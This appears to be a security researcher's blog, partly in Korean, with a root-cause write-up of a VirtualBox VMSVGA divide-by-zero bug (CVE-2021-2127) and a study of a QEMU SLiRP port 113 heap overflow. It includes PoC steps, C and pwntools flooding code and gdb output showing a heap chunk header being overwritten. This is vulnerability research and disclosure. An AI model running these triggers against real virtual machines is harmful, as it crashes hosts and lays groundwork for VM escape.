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This vulnerability allows local attackers to disclose sensitive information on affected installations of Oracle VirtualBox. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.

The specific flaw exists within the VMSVGA virtual device. The issue results from an integer truncation before reading from memory. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of the hypervisor.


*No more details will be disclosed.

*This post is not a disclosure


전에 ZDI에 제보한 버그가 CVE를 받음과 동시에 이번 버전에서 패치되었다. (6.1.20) 본인이 제보한 것 중 최초로 돈을 받은 건이어서 인상이 깊다.




공개는 ZDI에서 해당 취약점을 공개한 뒤에 이루어질 예정이다. 부연 설명을 붙이는 방식으로 이루어질 것 같다.


The details of CVE-2021-2266 will be released after ZDI releases this bug.

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추가 버그  (1) 2021.04.15
CVE-2021-2127 VirtualBox  (1) 2021.01.20

Before going on content...

I originally mentioned that this bug will be disclosed 3 months after the patch. However, I decided to release it today since 3 months seems to be too long... As long as there is an another researcher who disclosed his bugs at the patch date, it would be fine releasing this bug today.

High-level overview of the vulnerability and the possible effect of using it

A divide by zero vulnerability exists in vmsvga3dSurfaceDMA, in SVGA3D of Oracle VirtualBox 6.1.16 Linux distributions. To use this vulnerability, 3D acceleration option should be turned for a guest OS, and an attacker must get a root privilege in the guest OS.

This vulnerability allows local or remote attackers to crash VMs with 3D acceleration, leading to a denial-of-service condition. Flaws exist in three points: (1) Invalid surfaces can be defined in vmsvga3dSurfaceDefine, (2) Textures can be bound to invalid surfaces, (3) No check for divisor in vmsvga3dSurfaceDMA.

Exact product that was found to be vulnerable including complete version information

Version Information

Oracle VirtualBox 6.1.16 releases (which is the latest release in 2020/11/17) except for Windows are affected by this vulnerability. PoC code is tested with the release and Ubuntu 20.04.1 desktop for host and guest OSes, but it is also expected to work with other operating systems, except with Windows.


An attacker must get a root privilege in a guest OS in order to use this vulnerability. Also, 3D acceleration option must be turned on for the guest OS to use this vulnerability. Finally, graphics controller option must be set to VMSVGA, which is the default option for Linux guest OSes.

Root Cause Analysis


A divide by zero vulnerability exists in vmsvga3dSurfaceDMA, which handles the SVGA_3D_CMD_SURFACE_DMA command in the SVGA FIFO loop. A VM crashes when the vulnerability is triggered, leading to the denial-of-service condition on the software. The vulnerability lies in the simple overflow check of the guest offset, before the offset gets verified by vmsvgaR3GmrTransfer. (See Code 1)

// Code 1

// Devices/Graphics/DevVGA-SVGA3d.cpp:610
/* srcx, srcy and srcz values are used to calculate the guest offset.
 * The offset will be verified by vmsvgaR3GmrTransfer, so just check for overflows here.
AssertReturn(srcz < UINT32_MAX / pMipLevel->mipmapSize.height / cbGuestPitch, VERR_INVALID_PARAMETER);

cbGuestPitch can be zero with forged surfaces, leading to a divide by zero vulnerability. No check exists for pMipLevel->cbSurfacePitch, so cbGuestPitch can be zero. AssertReturn function remains as an if-else statement in a release version, so the vulnerability exists in a release version.

Three steps are needed to reach the vulnerable condition. These steps each uses a bug contained in its process.

  1. Two invalid surfaces, which have invalid mipmap sizes, are defined using a SVGA_3D_CMD_SURFACE_DEFINE command. One of two surfaces may be a valid surface. It doesn't affect the next step.
  2. Textures are bound to two surfaces using SVGA_3D_CMD_SURFACE_STRETCHBLT command. Two surfaces are each sent as source and destination surfaces.
  3. Divide by zero is triggered by using SVGA_3D_CMD_SURFACE_DMA command with guest.pitch = 0

Code flow from input to vmsvga* functions

Commands are asynchronously handled with the FIFO loop. (vmsvgaR3FifoLoop in Devices/Graphics/DevVGA-SVGA.cpp) Commands sent via VMware SVGA II PCI device are first enqueued to a SVGA command FIFO buffer, and they are dequeued and handled asynchronously in FIFO order by the loop.

Parsing and executing commands is done in vmsvgaR3FifoLoop function, which contains a simple switch-case statement to handle commands. With a given command id, the loop selects the method of parsing and handling the command. The loop eventually calls vmsvga~~ function to handle a command.

Step 1. Definition of invalid surfaces

Definition of an invalid surface is needed for to reach the vulnerable condition. Our goal is to make a surface that has the following conditions:

  1. Mipmap size is not zero so the clip box is not considered as empty in DMA command.
  2. cbSurfacePitch (derived from cBlocksX, cBlocksY, ...) is zero to trigger divide by zero.
  3. Texture is bound to the surface so that oglId is not zero.

In this step, a surface is defined with a non-zero mipmap size and a zero cbSurfacePitch value. A surface should not be defined in this condition, so this can be considered as a bug.

Making an invalid surface is simple: a surface can be defined with a negative size. (i.e. (-1, -1, -1)) Then, the definition fails in the condition described below. (See Code 2)

// Code 2

// Devices/Graphics/DevVGA-SVGA3d.cpp:278
if (RT_LIKELY(pSurface->cxBlock == 1 && pSurface->cyBlock == 1))
    cBlocksX = pMipmapLevel->mipmapSize.width;
    cBlocksY = pMipmapLevel->mipmapSize.height;


const uint32_t cMaxBlocksX = cbMemRemaining / pSurface->cbBlock;
if (cBlocksX > cMaxBlocksX)

cBlocksX becomes a negative value (i.e. -1), which is given as the argument of the command. cMaxBlocksX is 0x80000000 / n since cbMemRemaining remains 0x80000000 and pSurface->cbBlock becomes a small integer which is calculated from a given surface format. (i.e. 1, 2, 4, ..., see DevVGA-SVGA3d-shard.cpp:263 for details) Since the check is done with an unsigned comparison, cBlocksX is always bigger than cMaxBlocksX, so the check fails and the function returns.

A mipmap is already allocated before checking the validity of cBlocks, and the default value of a mipmap is zero for all other remaining values that are not initialized. Therefore, *cbSurfacePitch also becomes zero since it is not initialized. Mipmap size is already assigned before validation, so it is not zero. (See Code 3)

// Code 3

// Devices/Graphics/DevVGA-SVGA3d.cpp:223
for (uint32_t i=0; i < cMipLevels; i++)
    pSurface->paMipmapLevels[i].mipmapSize = paMipLevelSizes[i];

The outcome of step 1 is an object that looks like below. (Size is given as (-1, -1, -1)) Note that mipmapSize is not zero, and cbSurfacePitch is zero.

[*] surface
$2441 = 0x7fff6c7c49a0
$2442 = {
  id = 0x0,
  idWeakContextAssociation = 0xffffffff,
  surfaceFlags = 0x2,
  format = SVGA3D_BUFFER,
  internalFormatGL = 0xffffffff,
  formatGL = 0xffffffff,
  typeGL = 0xffffffff,
  oglId = {
    texture = 0x0,
    buffer = 0x0,
    renderbuffer = 0x0
  targetGL = 0x0,
  bindingGL = 0x0,
  fEmulated = 0x0,
  idEmulated = 0x0,
  faces = {{
      numMipLevels = 0x1
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
  cFaces = 0x1,
  cMipmapLevels = 0x1,
  paMipmapLevels = 0x7fff6fca48a0,
  multiSampleCount = 0x0,
  autogenFilter = SVGA3D_TEX_FILTER_NONE,
  cbBlock = 0x1,
  cxBlock = 0x1,
  cyBlock = 0x1,
  cbBlockGL = 0x1,
  fDirty = 0x0
[*] paMipmapLevel[0]
$2443 = {
  mipmapSize = {
    width = 0xffffffff,
    height = 0xffffffff,
    depth = 0xffffffff
  cBlocksX = 0x0,
  cBlocksY = 0x0,
  cBlocks = 0x0,
  cbSurfacePitch = 0x0,
  cbSurfacePlane = 0x0,
  cbSurface = 0x0,
  pSurfaceData = 0x0,
  fDirty = 0x0

Step 2. Texture binding

Texture binding to the surface made in step 1 is needed to reach the vulnerable condition. In step 2, SVGA_3D_CMD_SURFACE_STRETCHBLT command is used to bind a texture. Draw primitive functions may be used to bind textures, but they are more complicated than vmsvga3dSurfaceStretchBlt function, so the function is used in step 2. Also, a buffer may be bound to a surface instead of binding a texture to it, but binding a texture is chosen because of the same reason.

vmsvga3dSurfaceStretchBlt needs two surfaces: one as a source surface and the other as a destination surface. One of two surfaces may be valid, but one of them must be the surface which is made in step 1 to exploit the vulnerability.

Codes described in Code 4 is used to create and bind the texture to the surfaces. Even if a surface is invalid, a texture will be created and bound to the surface. vmsvga3dBackCreateTexture function will create a texture and bind it to the surface.

// Code 4

// Devices/Graphics/DevVGA-SVGA3d.cpp:437
    /* Unknown surface type; turn it into a texture, which can be used for other purposes too. */
    LogFunc(("unknown src sid=%u type=%d format=%d -> create texture\n", sidSrc, pSrcSurface->surfaceFlags, pSrcSurface->format));
    rc = vmsvga3dBackCreateTexture(pState, pContext, pContext->id, pSrcSurface);
    AssertRCReturn(rc, rc);

    /* Unknown surface type; turn it into a texture, which can be used for other purposes too. */
    LogFunc(("unknown dest sid=%u type=%d format=%d -> create texture\n", sidDst, pDstSurface->surfaceFlags, pDstSurface->format));
    rc = vmsvga3dBackCreateTexture(pState, pContext, pContext->id, pDstSurface);
    AssertRCReturn(rc, rc);

A texture should not be bound if a surface is invalid. Therefore, this can be also considered as a bug.

The outcome of step 2 is an object that looks like below. Note that oglId is not zero anymore.

[*] pSurface
$2453 = {
  id = 0x1,
  idWeakContextAssociation = 0xffffffff,
  surfaceFlags = 0x22,
  format = SVGA3D_BUFFER,
  internalFormatGL = 0xffffffff,
  formatGL = 0xffffffff,
  typeGL = 0xffffffff,
  oglId = {
    texture = 0x38,
    buffer = 0x38,
    renderbuffer = 0x38
  targetGL = 0x806f,
  bindingGL = 0x806a,
  fEmulated = 0x0,
  idEmulated = 0x0,
  faces = {{
      numMipLevels = 0x1
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
    }, {
      numMipLevels = 0x0
  cFaces = 0x1,
  cMipmapLevels = 0x1,
  paMipmapLevels = 0x7fff6c7c17a0,
  multiSampleCount = 0x0,
  autogenFilter = SVGA3D_TEX_FILTER_NONE,
  cbBlock = 0x1,
  cxBlock = 0x1,
  cyBlock = 0x1,
  cbBlockGL = 0x1,
  fDirty = 0x0
[*] pMipLevel
$2454 = {
  mipmapSize = {
    width = 0xffffffff,
    height = 0xffffffff,
    depth = 0xffffffff
  cBlocksX = 0x0,
  cBlocksY = 0x0,
  cBlocks = 0x0,
  cbSurfacePitch = 0x0,
  cbSurfacePlane = 0x0,
  cbSurface = 0x0,
  pSurfaceData = 0x0,
  fDirty = 0x0

Step 3. Triggering the bug

Divide by zero bug in vmsvga3dSurfaceDMA can now be triggered with the surface made in step 1 and step 2. The problematic code is described in Code 5.

// Code 5

// Devices/Graphics/DevVGA-SVGA3d.cpp:610
/* srcx, srcy and srcz values are used to calculate the guest offset.
 * The offset will be verified by vmsvgaR3GmrTransfer, so just check for overflows here.
AssertReturn(srcz < UINT32_MAX / pMipLevel->mipmapSize.height / cbGuestPitch, VERR_INVALID_PARAMETER);

Here, divide by zero occurs when cbGuestPitch is zero. cbGuestPitch becomes zero if we give guest.pitch = 0. (guest.pitch is an argument of a DMA command given by the user) AssertReturn function remains as an if-else statement in a release version, so the vulnerability exists in a release version. See Code 6.

// Code 6

// Devices/Graphics/DevVGA-SVGA3d.cpp:597
uint32_t cbGuestPitch = guest.pitch;
if (cbGuestPitch == 0)
    /* Host must "assume image is tightly packed". Our surfaces are. */
    cbGuestPitch = pMipLevel->cbSurfacePitch;
else { (...) }

There are two checks that need to be bypassed to reach the vulnerable condition. One (Code 7) is bypassed by defining an invalid surface in step 1, and the other (Code 8) is bypassed by binding a texture to the invalid surface defined in step 2. The check in Code 7 requires a non-zero mipmap size, and the other check in Code 8 requires a non-zero oglId.

// Code 7

// Devices/Graphics/DevVGA-SVGA3d.cpp:536
/* The copybox's "dest" is coords in the host surface. Verify them against the surface's mipmap size. */
SVGA3dBox hostBox;
hostBox.x = paBoxes[i].x;
hostBox.y = paBoxes[i].y;
hostBox.z = paBoxes[i].z;
hostBox.w = paBoxes[i].w;
hostBox.h = paBoxes[i].h;
hostBox.d = paBoxes[i].d;
vmsvgaR3ClipBox(&pMipLevel->mipmapSize, &hostBox);

if (   !hostBox.w
    || !hostBox.h
    || !hostBox.d)
    Log(("Skip empty box\n"));

// Devices/Graphics/DevVGA-SVGA.cpp:5274
 * Unsigned coordinates in pBox. Clip to [0; pSize).
 * @param   pSize   Source surface dimensions.
 * @param   pBox    Coordinates to be clipped.
void vmsvgaR3ClipBox(const SVGA3dSize *pSize, SVGA3dBox *pBox)
    /* x, w */
    if (pBox->x > pSize->width)
        pBox->x = pSize->width;
    if (pBox->w > pSize->width - pBox->x)
        pBox->w = pSize->width - pBox->x;

    /* y, h */
    if (pBox->y > pSize->height)
        pBox->y = pSize->height;
    if (pBox->h > pSize->height - pBox->y)
        pBox->h = pSize->height - pBox->y;

    /* z, d */
    if (pBox->z > pSize->depth)
        pBox->z = pSize->depth;
    if (pBox->d > pSize->depth - pBox->z)
        pBox->d = pSize->depth - pBox->z;
// Code 8

// Devices/Graphics/DevVGA-SVGA3d.cpp:504
     * Not realized in host hardware/library yet, we have to work with
     * the copy of the data we've got in VMSVGA3DMIMAPLEVEL::pSurfaceData.
    AssertReturn(pMipLevel->pSurfaceData, VERR_INTERNAL_ERROR);

// Devices/Graphics/DevVGA-SVGA3d-internal.h:683 (VMSVGA3D_DIRECT3D not defined in linux release)
 * Checks whether the surface has a host hardware/library surface.
 * @returns true/false
 * @param   a_pSurface      The VMSVGA3d surface.
# define VMSVGA3DSURFACE_HAS_HW_SURFACE(a_pSurface) ((a_pSurface)->u.pSurface != NULL)
# define VMSVGA3DSURFACE_HAS_HW_SURFACE(a_pSurface) ((a_pSurface)->oglId.texture != OPENGL_INVALID_ID)

Vulnerable code can be reached by bypassing these two conditions. VM crashes with divide by zero, trying to divide with cbGuestPitch, which has zero value.

gdb-peda$ c

Thread 24 "VMSVGA FIFO" received signal SIGFPE, Arithmetic exception.
[Switching to Thread 0x7f3acc41f700 (LWP 73906)]
RAX: 0x1 
RBX: 0x0 
RCX: 0xffffffff 
RDX: 0x0 
RSI: 0x0 
RDI: 0x0 
RBP: 0x7f3acc41ed10 --> 0x7f3acc41ee50 --> 0x7f3acc41ee90 --> 0x7f3acc41eeb0 --> 0x7f3acc41eef0 --> 0x0 
RSP: 0x7f3acc41ec10 --> 0x400000001 
RIP: 0x7f3acd87b333 (div    ebx)
R8 : 0x0 
R9 : 0x0 
R10: 0x1 
R11: 0x2a ('*')
R12: 0x0 
R13: 0x7f3a94603ed0 --> 0xffffffff00000001 
R14: 0x7f3a9775f260 --> 0xffffffffffffffff 
R15: 0x7f3a94000b80 --> 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
   0x7f3acd87b32b:    mov    eax,ecx
   0x7f3acd87b32d:    div    DWORD PTR [r14+0x4]
   0x7f3acd87b331:    xor    edx,edx
=> 0x7f3acd87b333:    div    ebx
   0x7f3acd87b335:    cmp    eax,DWORD PTR [rbp-0xbc]
   0x7f3acd87b33b:    jbe    0x7f3acd87b568
   0x7f3acd87b341:    mov    eax,ecx
   0x7f3acd87b343:    xor    edx,edx
0000| 0x7f3acc41ec10 --> 0x400000001 
0008| 0x7f3acc41ec18 --> 0x7f3a94000b64 --> 0xfffffffe 
0016| 0x7f3acc41ec20 --> 0x7f3ad8134568 --> 0xffffeeee 
0024| 0x7f3acc41ec28 --> 0x22057251 
0032| 0x7f3acc41ec30 --> 0x0 
0040| 0x7f3acc41ec38 --> 0x7f3ad8134250 --> 0x5000000010 
0048| 0x7f3acc41ec40 --> 0x7f3acc6e4140 --> 0x7f3ab8000000 --> 0xff1d1d1dff1d1d1d 
0056| 0x7f3acc41ec48 --> 0x7f3acc6e4800 --> 0x8000000 
Legend: code, data, rodata, value
Stopped reason: SIGFPE
0x00007f3acd87b333 in ?? () from /usr/lib/virtualbox/VBoxDD.so
gdb-peda$ bt
#0  0x00007f3acd87b333 in  () at /usr/lib/virtualbox/VBoxDD.so
#1  0x00007f3acd876bcb in  () at /usr/lib/virtualbox/VBoxDD.so
#2  0x00007f3b10724c8a in  () at /usr/lib/virtualbox/components/VBoxVMM.so
#3  0x00007f3b21f879e8 in  () at /usr/lib/virtualbox/VBoxRT.so
#4  0x00007f3b2204b452 in  () at /usr/lib/virtualbox/VBoxRT.so
#5  0x00007f3b2235f609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#6  0x00007f3b22280293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
gdb-peda$ vmmap
0x00007f3acd7c6000 0x00007f3acd7e8000 r--p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acd7e8000 0x00007f3acd94d000 r-xp    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acd94d000 0x00007f3acdb7f000 r--p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb7f000 0x00007f3acdb80000 ---p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb80000 0x00007f3acdb93000 r--p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb93000 0x00007f3acdb9b000 rw-p    /usr/lib/virtualbox/VBoxDD.so
0x00007f3acdb9b000 0x00007f3ace201000 rw-p    mapped

Suggested Fixes

Three main causes exist in this vulnerability.

  1. An invalid surface, which has a non-zero mipmap size and zero cBlocks* and cbSurfacePitch, can be defined.
  2. A texture can be bound to an invalid surface.
  3. No check for the divisor, which is cbGuestPitch, in DMA command.

Fixing this vulnerability depends on the design choice that developers make. There are two options to fix this vulnerability.

  1. Deallocate the surface when defining a surface fails.
  2. Validate mipmaps of surfaces whether they have proper fields whenever surfaces are used in commands. For this vulnerability, there are problems in vmsvga3dSurfaceStretchBlt, vmsvga3dBackCreateTexture, and vmsvga3dSurfaceDMA. However, other commands may also contain problems.



Proof-of-Concept code is tested on VirtualBox 6.1.16 version (recent version in 2020-11-20), Linux distribution. Version for host and guest OSes are Ubuntu 20.04.1 desktop, but other OSes except Windows are supposed to work as well. 3D acceleration under display option should be turned on, and graphics controller option should remain VMSVGA, which is the default setting for display in Linux distribution.

Running PoC code


PoC code should be run inside a guest. Thus, download the attached file inside a guest and extract the file.

libpciaccess-dev should be installed first to run the attached code. Run sudo apt install libpciaccess-dev first before running the code.

After installing the library, run make to compile the code. Next, run the compiled code with root privilege. (Do sudo ./poc)

Additional Information

Most of the codes are based on one of released PoC codes, which are in https://github.com/renorobert/virtualbox-vmsvga-bugs.

Software Download Link

VirtualBox release can be downloaded in https://www.virtualbox.org/wiki/Downloads. Linux distribution needs to be downloaded for this vulnerability. (PoC code is tested on Ubuntu 20.04.1 desktop for guest and host OSes)

Ubuntu 20.04.1 desktop image can be downloaded in https://releases.ubuntu.com/20.04/. This may be optional.


Patched at 6.1.18. Allocation (or Definition) of invalid surfaces is now prohibited. (See VBox/Devices/Graphics/DevVGA-SVGA3d.cpp)


VirtualBox SVGA에서 버그를 하나 발견하여 벤더에 제보했고, CVE 번호를 하나 받게 되었다. 버그를 제보하고 CVE까지 받는 것은 처음인데, 내 이름이 패치 내역에 있는 것이 상당히 기분이 좋았다. 프로젝트로 진행해서 열심히 삽질하고 한 것이 나름대로 보상이 된 것 같다.



크레딧 내용에 있는 본인 CVE


저 자료를 보면 VirtualBoBs 팀으로 버그가 3개가 들어가 있는데, 팀에서 벤더에 직접 제보하여 이번에 패치된 3건, ZDI 제보해서 오퍼까지 받은게 3건으로 총 6건을 발견하여 제보하였다. 버그 헌팅 처음 하는 사람들끼리 모여서 단기간에 으쌰으쌰해서 열심히 삽질한 것이 어떻게 성과가 잘 나온 것 같다. 처음에 VM 관련해서 아무런 지식이 없어 원데이로 삽질하고, CVE 훑어보고, 심지어는 방법론 자체를 공부하는 등 여러 삽질을 했다. 그럼에도 이런 활동들을 나름 계획을 세우고, 서로 자료 공유도 열심히 하고, 코로나 때문에 얼굴 한번 보지 못했어도 간단하게 인력 관리 봇 하나 구현해서 운영까지 해가며 어케어케 하다보니 프로젝트가 잘 된 것 같다.


버그에 대한 자세한 내용은 3달 정도 더 기다린 후에 공개하려 한다. 어제 저녁쯤에 패치가 되어 현재 해결이 된 상태지만 패치 갭을 생각해서 3달 정도 있다가 하는게 맞는 것 같다.

The details of CVE-2021-2127 will be released after 3 months, considering patch gaps of softwares. Even though the bug was fixed yesterday, I think it is right to disclose the bug after 3 months, considering the gaps.

'보안 > 일지' 카테고리의 다른 글

CVE-2021-2266 VirtualBox (ZDI-CAN-13464)  (2) 2021.04.22
추가 버그  (1) 2021.04.15



QEMU의 113 포트 (SLiRP module)에서 힙 오버플로우 취약점이 존재해 해당 취약점을 통해 VM Escape을 얻은 케이스다. PoC가 주어져있는데, 아래와 같다.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr(""); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    return 0;

113에 TCP로 계속해서 데이터를 넣는 모습을 확인할 수 있다. 데이터가 계속해서 써지면 결국 힙 오버플로우가 발생한다.


-enable-kvm 옵션을 사용하기 위해서는 우분투를 멀티부팅 형식으로 설치할 수밖에 없었다. Nested로 하는 방법도 존재했지만 시스템에 어떤 영향을 줄지 예상이 가지 않아 우분투를 설치하기로 마음먹었다.

우분투를 설치하는데 많은 트러블슈팅 과정을 거쳤다. 그램과 노트북, rufus / unetbootin / UUI를 번갈아 가며 설치를 시도했지만 결국에는 노트북에 기존에 가지고 있었던 Ubuntu 18.04.1 버전을 설치하였다. 노트북 BIOS 옵션에 들어가 꼭꼭 숨겨져있던 UEFI 옵션을 끄고서야 USB 부팅이 되었고, 그램에 설치를 시도할 때에는 UEFI 부팅을 끄는 옵션이 있었지만 Legacy Boot 옵션을 킬 수가 없어 (회색으로 처리되어 킬 수 없었다) Ubuntu 설치에 실패하였다.

9시간 정도 소모하여 간신히 우분투를 설치한 뒤에 기본적인 프로그램들을 설치하고 Qemu를 설치하였다. Qemu의 경우 버그가 발생한 Qemu의 정확한 버전을 알수가 없어 v3.1.0 버전을 사용하였다. 해당 버전의 코드를 확인하여 패치가 아직 이루어지지 않았음을 확인하였다. 해당 버전을 설치하는 과정은 다음과 같다.

git clone https://github.com/qemu/qemu
cd qemu
git reset --hard 32a1a94
mkdir build
cd build
cp x86_64-softmmu/qemu-system-x86_64 ../..

위 컴파일 과정을 위해서는 dependency들이 많이 필요한데 해당 리스트는 링크에서 구하였다.

Qemu를 설치했으면 이제 VM을 설치해야 한다. 18.04 우분투 이미지를 받아서 해당 이미지로부터 이미지를 생성해야 했다. 이미지를 생성하는 방법은 링크에서 배울 수 있었지만, 환경이 달라 약간의 조정이 필요했다. 최종적으로 사용한 명령어들은 아래와 같다.

wget http://old-releases.ubuntu.com/releases/18.04.1/ubuntu-18.04.4-desktop-amd64.iso
qemu-img create -f qcow2 ubuntu-18.04-desktop-amd64.img.qcow2 32G
sudo ../qemu-system-x86_64 -cdrom ubuntu-18.04.4-server-amd64.iso -drive file=ubuntu-18.04-server-amd64.img.qcow2,format=qcow2 -enable-kvm -m 2G -smp 1 -L ../qemu/build/pc-bios

위 명령어들을 실행하면 설치 과정을 실행할 수 있다. 실행해도 화면이 나오지 않는데, VNC server running on 메세지를 보고 remmina 프로그램을 통해 VNC 서버에 접속하여 화면을 확인할 수 있었다. 설치 과정은 일반적인 우분투 설치 과정과 동일하다.

해당 설치 과정을 거쳤으면 이미지로부터 스냅샷을 생성해야 한다. 스냅샷은 기존 이미지와 다른 점들만 저장하는 용도로, 용량이 많이 줄어 용량을 아낄 수 있다. 해당 명령어는 아래와 같다.

qemu-img create -f qcow2 -b ubuntu-18.04-desktop-amd64.img.qcow2 ubuntu-18.04-desktop-amd64.snapshot.qcow2

위 명령어로 스냅샷을 생성한 뒤 해당 스냅샷으로 Qemu를 구동하면 된다.

sudo ../qemu-system-x86_64 -drive file=ubuntu-18.04-desktop-amd64.snapshot.qcow2,format=qcow2 -enable-kvm -m 4G -smp 1 -net user,hostfwd=tcp::2222-:22 -net nic -L ../qemu/build/pc-bios -boot a

Qemu를 구동한 뒤 안에서 링크 안에 있는 PoC 코드를, 밖에서는 sudo nc -lvv 113 를 실행하면 VM이 Segmentation fault와 함께 죽는 것을 확인할 수 있다.

Root Cause Analysis

QEMU의 113 포트 (SLiRP module)에 힙 오버플로우 취약점이 존재한다. 해당 힙 오버플로우 취약점은 유저가 보내는 데이터를 별도의 체크 없이 계속해서 받아 생긴다. 아래 코드를 살펴보자.

// slirp/tcp_subr.c:624
    switch(so->so_emu) {
        int x, i;

     case EMU_IDENT:
         * Identification protocol as per rfc-1413

            struct socket *tmpso;
            struct sockaddr_in addr;
            socklen_t addrlen = sizeof(struct sockaddr_in);
            struct sbuf *so_rcv = &so->so_rcv;

            memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
// slirp/tcp_subr.c:535
 * Set the socket's type of service field
static const struct tos_t tcptos[] = {
      {0, 20, IPTOS_THROUGHPUT, 0},    /* ftp data */
      {21, 21, IPTOS_LOWDELAY,  EMU_FTP},    /* ftp control */
      {0, 23, IPTOS_LOWDELAY, 0},    /* telnet */
      {0, 80, IPTOS_THROUGHPUT, 0},    /* WWW */
      {0, 513, IPTOS_LOWDELAY, EMU_RLOGIN|EMU_NOCONNECT},    /* rlogin */
      {0, 514, IPTOS_LOWDELAY, EMU_RSH|EMU_NOCONNECT},    /* shell */
      {0, 544, IPTOS_LOWDELAY, EMU_KSH},        /* kshell */
      {0, 543, IPTOS_LOWDELAY, 0},    /* klogin */
      {0, 6667, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC */
      {0, 6668, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC undernet */
      {0, 7070, IPTOS_LOWDELAY, EMU_REALAUDIO }, /* RealAudio control */
      {0, 113, IPTOS_LOWDELAY, EMU_IDENT }, /* identd protocol */
      {0, 0, 0, 0}

취약점은 EMU_IDENT, 즉 113번 포트에서 발생하며 sbufm->m_data의 길이 체크 없이 데이터를 memcpy로 밀어넣는 것을 볼 수 있다. 때문에 sbuf 안에서 overflow가 발생한다. 해당 overflow가 나는 것을 gdb로 확인해보자.

우선 좀 더 편하게 PoC 코드를 돌려보고 수정하기 위해 PoC 코드를 pwntools를 이용하여 재구성하였다.


from pwn import *

p = remote("", 113)

while True:

send를 루프를 돌리지 말고 한번만 보낸 뒤에 데이터가 어느 영역에 저장되는지를 살펴보자. "A"*0x500 을 보낸 후에 "B"*53 을 보낸 뒤 gdb로 메모리를 찍어보았다.

gdb-peda$ x/32wx 0x7f2a48a54070-0x500
0x7f2a48a53b70:    0x0d302c30    0x4141000a    0x41414141    0x41414141
0x7f2a48a53b80:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53b90:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53ba0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bb0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bc0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bd0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53be0:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070-0x80
0x7f2a48a53ff0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54000:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54010:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54020:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54030:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54040:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54050:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54060:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070
0x7f2a48a54070:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54080:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54090:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a540a0:    0x42424242    0x00000a42    0x00000000    0x00000000
0x7f2a48a540b0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540c0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540d0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540e0:    0x00000000    0x00000000    0x00000000    0x00000000

해당영역에 보낸 데이터가 그대로 이어져서 붙어 나오는 것을 쉽게 확인할 수 있다. 멀티스레드 힙이기 때문에 map 상에는 단순하게 mapped 영역에 있는 것으로 보인다. 청크 사이즈는 0x2245 로 크기가 한정되어 있음을 확인할 수 있다.

이제 데이터를 더 밀어넣고 오버플로우가 발생하는지 확인해보자. 청크 크기+1 만큼 데이터를 밀어넣어 8바이트만큼 오버플로우가 발생하도록 하였다. (다음 청크의 사이즈가 덮이도록 설정하였다)


from pwn import *

p = remote("", 113)

for i in xrange(7):

gdb-peda$ x/8gx 0x7f3b84253400-0x10
0x7f3b842533f0:    0x0000000000000000    0x0000000000002245
0x7f3b84253400:    0x4141414141414141    0x4141414141414141
0x7f3b84253410:    0x4141414141414141    0x4141414141414141
0x7f3b84253420:    0x4141414141414141    0x4141414141414141
gdb-peda$ x/8gx 0x7f3b84253400-0x10+0x2240
0x7f3b84255630:    0x4747474747474747    0x0000000000001f47
0x7f3b84255640:    0x00007f3b84000080    0x00007f3b84000080
0x7f3b84255650:    0x0000000000000000    0x0000000000000000
0x7f3b84255660:    0x0000000000000000    0x0000000000000000

다음 청크의 사이즈의 한 바이트가 47 로 성공적으로 덮인 것을 확인할 수 있다. 이후 continue를 하게 되면 SIGABRT가 나오며 Qemu가 죽게된다.

즉, sbuf는 힙 영역에 할당되어 있기 때문에 heap overflow가 발생하고, 해당 overflow를 이용하여 힙 익스플로잇을 작성하면 된다.


